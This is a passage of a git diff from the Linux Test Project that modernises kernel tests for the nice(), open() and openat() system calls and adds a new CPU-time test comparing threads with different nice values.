.needs_root = 1, + .test = verify_nice, + .tcnt = ARRAY_SIZE(nice_inc), }; diff --git a/testcases/kernel/syscalls/nice/nice02.c b/testcases/kernel/syscalls/nice/nice02.c index 03630100..b08e1d75 100755 --- a/testcases/kernel/syscalls/nice/nice02.c +++ b/testcases/kernel/syscalls/nice/nice02.c @@ -4,10 +4,13 @@ * Ported to LTP: Wayne Boyer * Copyright (c) 2016 Cyril Hrubis */ -/* - * Verify that any user can successfully increase the nice value of - * the process by passing a higher increment value (> max. applicable limits) - * to nice() system call. + +/*\ + * [Description] + * + * Verify that any user can successfully increase the nice value of + * the process by passing a higher increment value (> max. applicable limits) + * to nice() system call. */ #include #include @@ -47,7 +50,7 @@ static void verify_nice(void) TEST(nice(DEFAULT_PRIO)); if (TST_ERR) - tst_brk(TBROK | TTERRNO, "nice(-NICEINC) failed"); + tst_brk(TBROK | TTERRNO, "nice(%d) failed", DEFAULT_PRIO); } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/nice/nice03.c b/testcases/kernel/syscalls/nice/nice03.c index 6047dd4c..061592e6 100755 --- a/testcases/kernel/syscalls/nice/nice03.c +++ b/testcases/kernel/syscalls/nice/nice03.c @@ -4,10 +4,13 @@ * Ported to LTP: Wayne Boyer * Copyright (c) 2016 Cyril Hrubis */ -/* - * Verify that any user can successfully increase the nice value of - * the process by passing an increment value (< max. applicable limits) to - * nice() system call. + +/*\ + * [Description] + * + * Verify that any user can successfully increase the nice value of + * the process by passing an increment value (< max. applicable limits) to + * nice() system call. */ #include #include @@ -16,11 +19,13 @@ #include "tst_test.h" #define NICEINC 2 +#define MAX_PRIO 19 static void nice_test(void) { int new_nice; int orig_nice; + int exp_nice; orig_nice = SAFE_GETPRIORITY(PRIO_PROCESS, 0); @@ -37,10 +42,11 @@ static void nice_test(void) } new_nice = SAFE_GETPRIORITY(PRIO_PROCESS, 0); + exp_nice = MIN(MAX_PRIO, (orig_nice + NICEINC)); - if (new_nice != (orig_nice + NICEINC)) { + if (new_nice != exp_nice) { tst_res(TFAIL, "Process priority %i, expected %i", - new_nice, orig_nice + NICEINC); + new_nice, exp_nice); return; } diff --git a/testcases/kernel/syscalls/nice/nice04.c b/testcases/kernel/syscalls/nice/nice04.c index 1d64311b..ac156008 100755 --- a/testcases/kernel/syscalls/nice/nice04.c +++ b/testcases/kernel/syscalls/nice/nice04.c @@ -4,9 +4,12 @@ * Ported to LTP: Wayne Boyer * Copyright (c) 2016 Cyril Hrubis */ -/* - * Verify that, nice(2) fails when, a non-root user attempts to increase - * the priority of a process by specifying a negative increment value. + +/*\ + * [Description] + * + * Verify that, nice(2) fails when, a non-root user attempts to increase + * the priority of a process by specifying a negative increment value. */ #include #include diff --git a/testcases/kernel/syscalls/nice/nice05.c b/testcases/kernel/syscalls/nice/nice05.c new file mode 100644 index 00000000..2c8ae415 --- /dev/null +++ b/testcases/kernel/syscalls/nice/nice05.c @@ -0,0 +1,158 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright(c) 2022 Huawei Technologies Co., Ltd + * Author: Li Mengfei + * Zhao Gongyi + */ + +/*\ + * [Description] + * + * 1. Create a high nice thread and a low nice thread, the main + * thread wake them at the same time + * 2. Both threads run on the same CPU + * 3. Verify that the low nice thread executes more time than + * the high nice thread + */ + +#define _GNU_SOURCE +#include +#include +#include +#include "tst_test.h" +#include "tst_safe_pthread.h" +#include "lapi/syscalls.h" +#include "tst_safe_clocks.h" +#include "tst_timer.h" + +static pthread_barrier_t barrier; + +static void set_nice(int nice_inc) +{ + int orig_nice; + + orig_nice = SAFE_GETPRIORITY(PRIO_PROCESS, 0); + + TEST(nice(nice_inc)); + + if (TST_RET != (orig_nice + nice_inc)) { + tst_brk(TBROK | TTERRNO, "nice(%d) returned %li, expected %i", + nice_inc, TST_RET, orig_nice + nice_inc); + } + + if (TST_ERR) + tst_brk(TBROK | TTERRNO, "nice(%d) failed", nice_inc); +} + +static void do_something(void) +{ + volatile int number = 0; + + while (1) { + number++; + + TEST(pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL)); + if (TST_RET != 0) { + tst_brk(TBROK | TRERRNO, + "pthread_setcancelstate() failed"); + } + pthread_testcancel(); + } +} + +static void *thread_fn(void *arg) +{ + set_nice((intptr_t)arg); + SAFE_PTHREAD_BARRIER_WAIT(&barrier); + do_something(); + + return NULL; +} + +static void setup(void) +{ + size_t size; + size_t i; + int nrcpus = 1024; + cpu_set_t *set; + int some_cpu; + + set = CPU_ALLOC(nrcpus); + if (!set) + tst_brk(TBROK | TERRNO, "CPU_ALLOC()"); + + size = CPU_ALLOC_SIZE(nrcpus); + CPU_ZERO_S(size, set); + if (sched_getaffinity(0, size, set) < 0) + tst_brk(TBROK | TERRNO, "sched_getaffinity()"); + + for (i = 0; i < size * 8; i++) + if (CPU_ISSET_S(i, size, set)) + some_cpu = i; + + CPU_ZERO_S(size, set); + CPU_SET_S(some_cpu, size, set); + if (sched_setaffinity(0, size, set) < 0) + tst_brk(TBROK | TERRNO, "sched_setaffinity()"); + + CPU_FREE(set); +} + +static void verify_nice(void) +{ + intptr_t nice_inc_high = -1; + intptr_t nice_inc_low = -2; + clockid_t nice_low_clockid, nice_high_clockid; + struct timespec nice_high_ts, nice_low_ts; + long long delta; + pthread_t thread[2]; + + SAFE_PTHREAD_BARRIER_INIT(&barrier, NULL, 3); + + SAFE_PTHREAD_CREATE(&thread[0], NULL, thread_fn, + (void *)nice_inc_high); + SAFE_PTHREAD_CREATE(&thread[1], NULL, thread_fn, + (void *)nice_inc_low); + + SAFE_PTHREAD_BARRIER_WAIT(&barrier); + + sleep(tst_remaining_runtime()); + + TEST(pthread_getcpuclockid(thread[1], &nice_low_clockid)); + if (TST_RET != 0) + tst_brk(TBROK | TRERRNO, "clock_getcpuclockid() failed"); + + TEST(pthread_getcpuclockid(thread[0], &nice_high_clockid)); + if (TST_RET != 0) + tst_brk(TBROK | TRERRNO, "clock_getcpuclockid() failed"); + + SAFE_CLOCK_GETTIME(nice_low_clockid, &nice_low_ts); + SAFE_CLOCK_GETTIME(nice_high_clockid, &nice_high_ts); + + tst_res(TINFO, "Nice low thread CPU time: %ld.%09ld s", + nice_low_ts.tv_sec, nice_low_ts.tv_nsec); + tst_res(TINFO, "Nice high thread CPU time: %ld.%09ld s", + nice_high_ts.tv_sec, nice_high_ts.tv_nsec); + + delta = tst_timespec_diff_ns(nice_low_ts, nice_high_ts); + if (delta < 0) { + tst_res(TFAIL, "executes less cycles than " + "the high nice thread, delta: %lld ns", delta); + } else { + tst_res(TPASS, "executes more cycles than " + "the high nice thread, delta: %lld ns", delta); + } + + SAFE_PTHREAD_CANCEL(thread[0]); + SAFE_PTHREAD_CANCEL(thread[1]); + SAFE_PTHREAD_BARRIER_DESTROY(&barrier); + SAFE_PTHREAD_JOIN(thread[0], NULL); + SAFE_PTHREAD_JOIN(thread[1], NULL); +} + +static struct tst_test test = { + .setup = setup, + .test_all = verify_nice, + .needs_root = 1, + .max_runtime = 3, +}; diff --git a/testcases/kernel/syscalls/open/.gitignore b/testcases/kernel/syscalls/open/.gitignore index 4309e3a7..001d874d 100755 --- a/testcases/kernel/syscalls/open/.gitignore +++ b/testcases/kernel/syscalls/open/.gitignore @@ -2,7 +2,6 @@ /open02 /open03 /open04 -/open05 /open06 /open07 /open08 diff --git a/testcases/kernel/syscalls/open/Makefile b/testcases/kernel/syscalls/open/Makefile index 044619fb..8a916d0f 100755 --- a/testcases/kernel/syscalls/open/Makefile +++ b/testcases/kernel/syscalls/open/Makefile @@ -6,3 +6,5 @@ top_srcdir ?= ../../../.. include $(top_srcdir)/include/mk/testcases.mk include $(top_srcdir)/include/mk/generic_leaf_target.mk + +CFLAGS += -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE diff --git a/testcases/kernel/syscalls/open/open02.c b/testcases/kernel/syscalls/open/open02.c index 67bf423a..3c9cc7e1 100755 --- a/testcases/kernel/syscalls/open/open02.c +++ b/testcases/kernel/syscalls/open/open02.c @@ -4,20 +4,17 @@ * Ported to LTP: Wayne Boyer * 06/2017 Modified by Guangwen Feng */ -/* - * DESCRIPTION - * 1. open a new file without O_CREAT, ENOENT should be returned. - * 2. open a file with O_RDONLY | O_NOATIME and the caller was not - * privileged, EPERM should be returned. + +/*\ + * [Description] + * + * 1. open a new file without O_CREAT, ENOENT should be returned. + * 2. open a file with O_RDONLY | O_NOATIME and the caller was not + * privileged, EPERM should be returned. */ #define _GNU_SOURCE -#include -#include -#include -#include -#include #include #include "tst_test.h" @@ -31,7 +28,7 @@ static struct tcase { const char *desc; } tcases[] = { {TEST_FILE, O_RDWR, ENOENT, "new file without O_CREAT"}, - {TEST_FILE2, O_RDONLY | O_NOATIME, EPERM, "unpriviledget O_RDONLY | O_NOATIME"}, + {TEST_FILE2, O_RDONLY | O_NOATIME, EPERM, "unprivileged O_RDONLY | O_NOATIME"}, }; void setup(void) diff --git a/testcases/kernel/syscalls/open/open03.c b/testcases/kernel/syscalls/open/open03.c index aa15ee9e..5521dfef 100755 --- a/testcases/kernel/syscalls/open/open03.c +++ b/testcases/kernel/syscalls/open/open03.c @@ -1,90 +1,29 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* + * Copyright (c) Linux Test Project, 2001-2022 * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * */ -#include -#include -#include -#include -#include -#include "test.h" -#include "safe_macros.h" - -static void setup(void); -static void cleanup(void); +/*\ + * [Description] + * + * Testcase to check open() with O_RDWR | O_CREAT. + */ -char *TCID = "open03"; -int TST_TOTAL = 1; +#include "tst_test.h" -static char fname[255]; -static int fd; +#define TEST_FILE "testfile" -int main(int ac, char **av) +static void verify_open(void) { - int lc; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - - TEST(open(fname, O_RDWR | O_CREAT, 0700)); - fd = TEST_RETURN; - - if (TEST_RETURN == -1) { - tst_resm(TFAIL | TTERRNO, - "open(%s,O_RDWR|O_CREAT,0700) failed", fname); - } else { - tst_resm(TPASS, - "open(%s, O_RDWR|O_CREAT,0700) returned %ld", - fname, TEST_RETURN); - - SAFE_CLOSE(cleanup, fd); - SAFE_UNLINK(cleanup, fname); - } - } - - cleanup(); - tst_exit(); + TST_EXP_FD(open(TEST_FILE, O_RDWR | O_CREAT, 0700)); + SAFE_CLOSE(TST_RET); + SAFE_UNLINK(TEST_FILE); } -static void setup(void) -{ - tst_sig(NOFORK, DEF_HANDLER, cleanup); - TEST_PAUSE; - tst_tmpdir(); - - sprintf(fname, "tfile_%d", getpid()); -} - -static void cleanup(void) -{ - tst_rmdir(); -} +static struct tst_test test = { + .needs_tmpdir = 1, + .test_all = verify_open, +}; diff --git a/testcases/kernel/syscalls/open/open04.c b/testcases/kernel/syscalls/open/open04.c index 7b3b5eb6..24ef52a2 100755 --- a/testcases/kernel/syscalls/open/open04.c +++ b/testcases/kernel/syscalls/open/open04.c @@ -1,133 +1,70 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * DESCRIPTION - * Testcase to check that open(2) sets EMFILE if a process opens files - * more than its descriptor size +/*\ + * [Description] * - * ALGORITHM - * First get the file descriptor table size which is set for a process. - * Use open(2) for creating files till the descriptor table becomes full. - * These open(2)s should succeed. Finally use open(2) to open another - * file. This attempt should fail with EMFILE. + * Verify that open(2) fails with EMFILE when per-process limit on the number + * of open file descriptors has been reached. */ #include -#include -#include -#include -#include "test.h" - -char *TCID = "open04"; -int TST_TOTAL = 1; - -static int fd, ifile, mypid, first; -static int nfile; -static int *buf; -static char fname[40]; - -static void setup(void); -static void cleanup(void); - -int main(int ac, char **av) -{ - int lc; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - - TEST(open(fname, O_RDWR | O_CREAT, 0777)); +#include +#include "tst_test.h" - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "call succeeded unexpectedly"); - continue; - } - - if (TEST_ERRNO != EMFILE) - tst_resm(TFAIL, "Expected EMFILE, got %d", TEST_ERRNO); - else - tst_resm(TPASS, "call returned expected EMFILE error"); - } +#define FNAME "open04" - close(first); - close(fd); - cleanup(); - tst_exit(); -} +static int fds_limit, first, i; +static int *fds; +static char fname[20]; static void setup(void) { - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - /* make a temporary directory and cd to it */ - tst_tmpdir(); - - mypid = getpid(); - nfile = getdtablesize(); - sprintf(fname, "open04.%d", mypid); + int fd; - first = fd = open(fname, O_RDWR | O_CREAT, 0777); - if (first == -1) - tst_brkm(TBROK, cleanup, "Cannot open first file"); + fds_limit = getdtablesize(); + first = SAFE_OPEN(FNAME, O_RDWR | O_CREAT, 0777); - close(fd); - close(first); - unlink(fname); + fds = SAFE_MALLOC(sizeof(int) * (fds_limit - first)); + fds[0] = first; - /* Allocate memory for stat and ustat structure variables */ - buf = malloc(sizeof(int) * nfile - first); - if (buf == NULL) - tst_brkm(TBROK, NULL, "Failed to allocate Memory"); - - for (ifile = first; ifile <= nfile; ifile++) { - sprintf(fname, "open04.%d.%d", ifile, mypid); + for (i = first + 1; i < fds_limit; i++) { + sprintf(fname, FNAME ".%d", i); fd = open(fname, O_RDWR | O_CREAT, 0777); if (fd == -1) { - if (errno != EMFILE) { - tst_brkm(TBROK, cleanup, "Expected EMFILE got " - "%d", errno); - } + if (errno != EMFILE) + tst_brk(TBROK, "Expected EMFILE but got %d", errno); + fds_limit = i; break; } - buf[ifile - first] = fd; + fds[i - first] = fd; } } -static void cleanup(void) +static void run(void) { - close(first); + sprintf(fname, FNAME ".%d", fds_limit); + TST_EXP_FAIL2(open(fname, O_RDWR | O_CREAT, 0777), EMFILE); +} - for (ifile = first; ifile < nfile; ifile++) { - sprintf(fname, "open04.%d.%d", ifile, mypid); - close(buf[ifile - first]); - unlink(fname); - } +static void cleanup(void) +{ + if (!first || !fds) + return; - free(buf); + for (i = first; i < fds_limit; i++) + SAFE_CLOSE(fds[i - first]); - /* delete the test directory created in setup() */ - tst_rmdir(); + if (fds) + free(fds); } + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_tmpdir = 1 +}; diff --git a/testcases/kernel/syscalls/open/open06.c b/testcases/kernel/syscalls/open/open06.c index 6c774ce8..e167c2b6 100755 --- a/testcases/kernel/syscalls/open/open06.c +++ b/testcases/kernel/syscalls/open/open06.c @@ -1,90 +1,34 @@ +// SPDX-License-Identifier: GPL-2.0-or-later + /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * DESCRIPTION - * Testcase to check open(2) sets errno to ENXIO correctly. +/*\ + * [Description] * - * ALGORITHM - * Create a named pipe using mknod(2). Attempt to - * open(2) the pipe for writing. The open(2) should - * fail with ENXIO. + * Verify that open(2) fails with ENXIO when + * O_NONBLOCK | O_WRONLY is set, the named file is a FIFO, + * and no process has the FIFO open for reading. */ -#include -#include -#include -#include -#include -#include "test.h" - -char *TCID = "open06"; -int TST_TOTAL = 1; - -static void setup(void); -static void cleanup(void); - -static char fname[100] = "fifo"; - -int main(int ac, char **av) -{ - int lc; - tst_parse_opts(ac, av, NULL, NULL); +#include "tst_test.h" - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - - TEST(open(fname, O_NONBLOCK | O_WRONLY)); - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "open(2) succeeded unexpectedly"); - continue; - } - - if (TEST_ERRNO != ENXIO) - tst_resm(TFAIL, "Expected ENXIO got %d", TEST_ERRNO); - else - tst_resm(TPASS, "call returned expected ENXIO error"); - } - - cleanup(); - tst_exit(); -} +#define TEMP_FIFO "tmpfile" static void setup(void) { - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - tst_tmpdir(); - - sprintf(fname, "%s.%d", fname, getpid()); - - if (mknod(fname, S_IFIFO | 0644, 0) == -1) - tst_brkm(TBROK, cleanup, "mknod FAILED"); + SAFE_MKFIFO(TEMP_FIFO, 0644); } -static void cleanup(void) +static void run(void) { - unlink(fname); - - tst_rmdir(); + TST_EXP_FAIL2(open(TEMP_FIFO, O_NONBLOCK | O_WRONLY), ENXIO); } + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .needs_tmpdir = 1 +}; diff --git a/testcases/kernel/syscalls/open/open08.c b/testcases/kernel/syscalls/open/open08.c index 29a23c2f..0af455b5 100755 --- a/testcases/kernel/syscalls/open/open08.c +++ b/testcases/kernel/syscalls/open/open08.c @@ -4,48 +4,26 @@ * Copyright (c) 2018 Linux Test Project */ -/* - * DESCRIPTION - * Check for the following errors: - * 1. EEXIST - * 2. EISDIR - * 3. ENOTDIR - * 4. ENAMETOOLONG - * 5. EACCES - * 6. EFAULT - * - * ALGORITHM - * 1. Open a file with O_CREAT and O_EXCL, when the file already - * exists. Check the errno for EEXIST - * - * 2. Pass a directory as the pathname and request a write access, - * check for errno for EISDIR - * - * 3. Specify O_DIRECTORY as a parameter to open and pass a file as the - * pathname, check errno for ENOTDIR - * - * 4. Attempt to open() a filename which is more than VFS_MAXNAMLEN, and - * check for errno to be ENAMETOOLONG. +/*\ + * [Description] * - * 5. Attempt to open a (0600) file owned by different user in WRONLY mode, - * open(2) should fail with EACCES. + * Verify that open() fails with: * - * 6. Attempt to pass an invalid pathname with an address pointing outside - * the accessible address space of the process, as the argument to open(), - * and expect to get EFAULT. + * - EEXIST when pathname already exists and O_CREAT and O_EXCL were used + * - EISDIR when pathname refers to a directory and the access requested + * involved writing + * - ENOTDIR when O_DIRECTORY was specified and pathname was not a directory + * - ENAMETOOLONG when pathname was too long + * - EACCES when requested access to the file is not allowed + * - EFAULT when pathname points outside the accessible address space */ #define _GNU_SOURCE /* for O_DIRECTORY */ -#include -#include -#include -#include -#include -#include -#include + #include #include "tst_test.h" -#include "tst_get_bad_addr.h" + +#define FLAGS_DESC(x) .flags = x, .desc = #x static char *existing_fname = "open08_testfile"; static char *toolong_fname = "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyz"; @@ -58,35 +36,21 @@ struct test_case_t; static struct test_case_t { char **fname; int flags; + const char *desc; int error; } tcases[] = { - {&existing_fname, O_CREAT | O_EXCL, EEXIST}, - {&dir_fname, O_RDWR, EISDIR}, - {&existing_fname, O_DIRECTORY, ENOTDIR}, - {&toolong_fname, O_RDWR, ENAMETOOLONG}, - {&user2_fname, O_WRONLY, EACCES}, - {&unmapped_fname, O_CREAT, EFAULT} + {&existing_fname, FLAGS_DESC(O_CREAT | O_EXCL), EEXIST}, + {&dir_fname, FLAGS_DESC(O_RDWR), EISDIR}, + {&existing_fname, FLAGS_DESC(O_DIRECTORY), ENOTDIR}, + {&toolong_fname, FLAGS_DESC(O_RDWR), ENAMETOOLONG}, + {&user2_fname, FLAGS_DESC(O_WRONLY), EACCES}, + {&unmapped_fname, FLAGS_DESC(O_CREAT), EFAULT}, }; -void verify_open(unsigned int i) +static void verify_open(unsigned int i) { - TEST(open(*tcases[i].fname, tcases[i].flags, - S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH)); - - if (TST_RET != -1) { - tst_res(TFAIL, "call succeeded unexpectedly"); - return; - } - - if (TST_ERR == tcases[i].error) { - tst_res(TPASS, "expected failure - " - "errno = %d : %s", TST_ERR, - strerror(TST_ERR)); - } else { - tst_res(TFAIL, "unexpected error - %d : %s - " - "expected %d", TST_ERR, - strerror(TST_ERR), tcases[i].error); - } + TST_EXP_FAIL2(open(*tcases[i].fname, tcases[i].flags, 0644), + tcases[i].error, "%s", tcases[i].desc); } static void setup(void) @@ -105,7 +69,7 @@ static void setup(void) SAFE_SETUID(ltpuser->pw_uid); fildes = SAFE_CREAT(existing_fname, 0600); - close(fildes); + SAFE_CLOSE(fildes); unmapped_fname = tst_get_bad_addr(NULL); } diff --git a/testcases/kernel/syscalls/open/open12.c b/testcases/kernel/syscalls/open/open12.c index 4702d08d..188d1794 100755 --- a/testcases/kernel/syscalls/open/open12.c +++ b/testcases/kernel/syscalls/open/open12.c @@ -24,7 +24,6 @@ #include #include #include -#include #include #include #include @@ -90,14 +89,6 @@ static void setup(void) if (tst_path_has_mnt_flags(cleanup, NULL, mount_flags)) { const char *fs_type; - if ((tst_kvercmp(2, 6, 30)) < 0) { - tst_resm(TCONF, - "MS_STRICTATIME flags for mount(2) needs kernel 2.6.30 " - "or higher"); - skip_noatime = 1; - return; - } - fs_type = tst_dev_fs_type(); device = tst_acquire_device(cleanup); @@ -129,7 +120,8 @@ static void test_append(void) } len1 = SAFE_LSEEK(cleanup, TEST_RETURN, 0, SEEK_CUR); - SAFE_WRITE(cleanup, 1, TEST_RETURN, TEST_FILE, sizeof(TEST_FILE)); + SAFE_WRITE(cleanup, SAFE_WRITE_ALL, TEST_RETURN, TEST_FILE, + sizeof(TEST_FILE)); len2 = SAFE_LSEEK(cleanup, TEST_RETURN, 0, SEEK_CUR); SAFE_CLOSE(cleanup, TEST_RETURN); @@ -144,13 +136,6 @@ static void test_noatime(void) char read_buf; struct stat old_stat, new_stat; - if ((tst_kvercmp(2, 6, 8)) < 0) { - tst_resm(TCONF, - "O_NOATIME flags test for open(2) needs kernel 2.6.8 " - "or higher"); - return; - } - if (skip_noatime) { tst_resm(TCONF, "test O_NOATIME flag for open needs filesystems which " @@ -184,13 +169,6 @@ static void test_cloexec(void) int status; char buf[20]; - if ((tst_kvercmp(2, 6, 23)) < 0) { - tst_resm(TCONF, - "O_CLOEXEC flags test for open(2) needs kernel 2.6.23 " - "or higher"); - return; - } - TEST(open(TEST_FILE, O_RDWR | O_APPEND | O_CLOEXEC, 0777)); if (TEST_RETURN == -1) { @@ -234,16 +212,17 @@ static void test_cloexec(void) static void test_largefile(void) { int fd; - off64_t offset; + off_t offset; fd = SAFE_OPEN(cleanup, LARGE_FILE, O_LARGEFILE | O_RDWR | O_CREAT, 0777); - offset = lseek64(fd, 4.1*1024*1024*1024, SEEK_SET); + offset = lseek(fd, 4.1*1024*1024*1024, SEEK_SET); if (offset == -1) - tst_brkm(TBROK | TERRNO, cleanup, "lseek64 failed"); + tst_brkm(TBROK | TERRNO, cleanup, "lseek failed"); - SAFE_WRITE(cleanup, 1, fd, LARGE_FILE, sizeof(LARGE_FILE)); + SAFE_WRITE(cleanup, SAFE_WRITE_ALL, fd, LARGE_FILE, + sizeof(LARGE_FILE)); SAFE_CLOSE(cleanup, fd); diff --git a/testcases/kernel/syscalls/open/open13.c b/testcases/kernel/syscalls/open/open13.c index 3838221e..e777a305 100755 --- a/testcases/kernel/syscalls/open/open13.c +++ b/testcases/kernel/syscalls/open/open13.c @@ -95,11 +95,6 @@ int main(int ac, char **av) static void setup(void) { - if ((tst_kvercmp(2, 6, 39)) < 0) { - tst_brkm(TCONF, NULL, "This test can only run on kernels " - "that are 2.6.39 or higher"); - } - tst_sig(NOFORK, DEF_HANDLER, cleanup); tst_tmpdir(); diff --git a/testcases/kernel/syscalls/open/open14.c b/testcases/kernel/syscalls/open/open14.c index f78a3643..3ecb7e4f 100755 --- a/testcases/kernel/syscalls/open/open14.c +++ b/testcases/kernel/syscalls/open/open14.c @@ -65,7 +65,7 @@ static void write_file(int fd) int i; for (i = 0; i < blocks_num; ++i) - SAFE_WRITE(cleanup, 1, fd, buf, size); + SAFE_WRITE(cleanup, SAFE_WRITE_ALL, fd, buf, size); } void test01(void) diff --git a/testcases/kernel/syscalls/open_by_handle_at/open_by_handle_at01.c b/testcases/kernel/syscalls/open_by_handle_at/open_by_handle_at01.c index 76be720c..6171229f 100755 --- a/testcases/kernel/syscalls/open_by_handle_at/open_by_handle_at01.c +++ b/testcases/kernel/syscalls/open_by_handle_at/open_by_handle_at01.c @@ -55,7 +55,7 @@ static void setup(void) dir_fd = SAFE_OPEN(TEST_DIR, O_DIRECTORY); SAFE_CHDIR(TEST_DIR); SAFE_TOUCH(TEST_FILE, 0600, NULL); - file_fd = SAFE_OPEN("foo_file", O_RDWR | O_CREAT); + file_fd = SAFE_OPEN("foo_file", O_RDWR | O_CREAT, 0600); f_fhp = allocate_file_handle(AT_FDCWD, TEST_FILE); d_fhp = allocate_file_handle(AT_FDCWD, TEST_FILE); diff --git a/testcases/kernel/syscalls/openat/.gitignore b/testcases/kernel/syscalls/openat/.gitignore index 2928dae2..2d15872a 100755 --- a/testcases/kernel/syscalls/openat/.gitignore +++ b/testcases/kernel/syscalls/openat/.gitignore @@ -2,3 +2,4 @@ /openat02 /openat02_child /openat03 +/openat04 diff --git a/testcases/kernel/syscalls/openat/Makefile b/testcases/kernel/syscalls/openat/Makefile index 044619fb..8a916d0f 100755 --- a/testcases/kernel/syscalls/openat/Makefile +++ b/testcases/kernel/syscalls/openat/Makefile @@ -6,3 +6,5 @@ top_srcdir ?= ../../../.. include $(top_srcdir)/include/mk/testcases.mk include $(top_srcdir)/include/mk/generic_leaf_target.mk + +CFLAGS += -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE diff --git a/testcases/kernel/syscalls/openat/openat.h b/testcases/kernel/syscalls/openat/openat.h index 9b5568bd..45d00183 100755 --- a/testcases/kernel/syscalls/openat/openat.h +++ b/testcases/kernel/syscalls/openat/openat.h @@ -28,7 +28,7 @@ #if !defined(HAVE_OPENAT) int openat(int dirfd, const char *pathname, int flags, mode_t mode) { - return ltp_syscall(__NR_openat, dirfd, pathname, flags, mode); + return tst_syscall(__NR_openat, dirfd, pathname, flags, mode); } #endif diff --git a/testcases/kernel/syscalls/openat/openat01.c b/testcases/kernel/syscalls/openat/openat01.c index daed419f..ad400b47 100755 --- a/testcases/kernel/syscalls/openat/openat01.c +++ b/testcases/kernel/syscalls/openat/openat01.c @@ -1,55 +1,45 @@ -/****************************************************************************** - * - * Copyright (c) International Business Machines Corp., 2006 - * Author: Yi Yang +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Internstional Business Machines Corp., 2006 + * Author: Yi Yang * Copyright (c) Cyril Hrubis 2014 + */ + +/*\ + * [Description] + * + * This test case will verify basic function of openat. * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. + * - pathname is relative, then it is interpreted relative to the directory + * referred to by the file descriptor dirfd * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. + * - pathname is absolute, then dirfd is ignored * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software Foundation, - * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * - ENODIR pathname is a relative pathname and dirfd is a file + * descriptor referring to a file other than a directory * - * DESCRIPTION - * This test case will verify basic function of openat - * added by kernel 2.6.16 or up. + * - EBADF dirfd is not a valid file descriptor * - *****************************************************************************/ + * - pathname is relative and dirfd is the special value AT_FDCWD, then pathname + * is interpreted relative to the current working directory of the calling + * process + */ #define _GNU_SOURCE - #include #include #include #include #include -#include - -#include "test.h" -#include "safe_macros.h" -#include "lapi/fcntl.h" -#include "openat.h" +#include +#include "tst_test.h" -static void setup(void); -static void cleanup(void); - -char *TCID = "openat01"; +#define TEST_FILE "test_file" +#define TEST_DIR 